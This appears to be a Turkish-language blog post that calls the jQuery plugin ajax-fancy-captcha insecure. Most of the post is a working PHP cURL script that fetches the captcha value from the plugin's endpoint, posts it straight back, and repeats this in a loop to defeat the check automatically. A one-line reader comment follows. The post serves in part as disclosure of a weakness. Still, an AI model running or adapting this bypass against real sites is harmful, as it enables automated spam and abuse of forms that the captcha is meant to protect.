“güvenliksiz” güvenlik kodu

jquery için ajax-fancy-captcha diye bir eklenti yazılmış. ilgili eklentiden şu siteden haberdar oldum. eklentinin kendi sitesinde ise 122 adet yorum mevcut. google kayıtları coşmuş, ama ilgili eklentinin güvenliğiyle alakalı bir şey bulamadım. halbuki, ilginç derecede basit ve “aşılabilir” bir mantığı var kodun.

aşağıdaki kod da “aşılabilir” kısmını aşıyor :)

<?php
 
/* 
 * emre "uic" yilmaz - emre@darkbrown.org
*/
 
class Request {
 
    public function __construct($cookieFile = "") {
        $this->cookie_file = $cookieFile;
    }
 
    public function POST($url, $postData) {
        $this->ch = curl_init();
        curl_setopt($this->ch, CURLOPT_URL, $url);
        curl_setopt($this->ch, CURLOPT_POST, 1);
        curl_setopt($this->ch, CURLOPT_POSTFIELDS, $postData);   
        $this->_set_usual_settings();
        return $this->_execute();
    }
 
    public function GET($url) {
        $this->ch = curl_init();
        curl_setopt($this->ch, CURLOPT_HTTPGET, 1);
        curl_setopt($this->ch, CURLOPT_URL, $url);     
        $this->_set_usual_settings(); 
        return $this->_execute();
    }
 
    private function _handle_cookie() {
        curl_setopt($this->ch, CURLOPT_COOKIEJAR,  $this->cookie_file);
        curl_setopt($this->ch, CURLOPT_COOKIEFILE, $this->cookie_file);     
    }
 
    private function _set_usual_settings() {
        curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
 
        $this->_handle_cookie();
    }
 
 
    private function _close() {
        curl_close($this->ch);
    }
 
    private function _execute() {
        $reply = curl_exec($this->ch);
        $this->_close();
        return $reply;
    }
 
}
 
$request = new Request("/home/emre/public_html/cookies.txt");
for($i = 0; $i < 10; $i++) {
    $value    =  $request->GET("http://url/captcha/captcha.php");
    $response =  $request->POST(
        "http://url/captcha/captcha.php",
        sprintf("captcha=%s", $value));
    print $response;
 
}
 
?>

1 comment

osmanMay 7th, 2010 at 1:08 pm

hahaha :D

Leave a comment

Your comment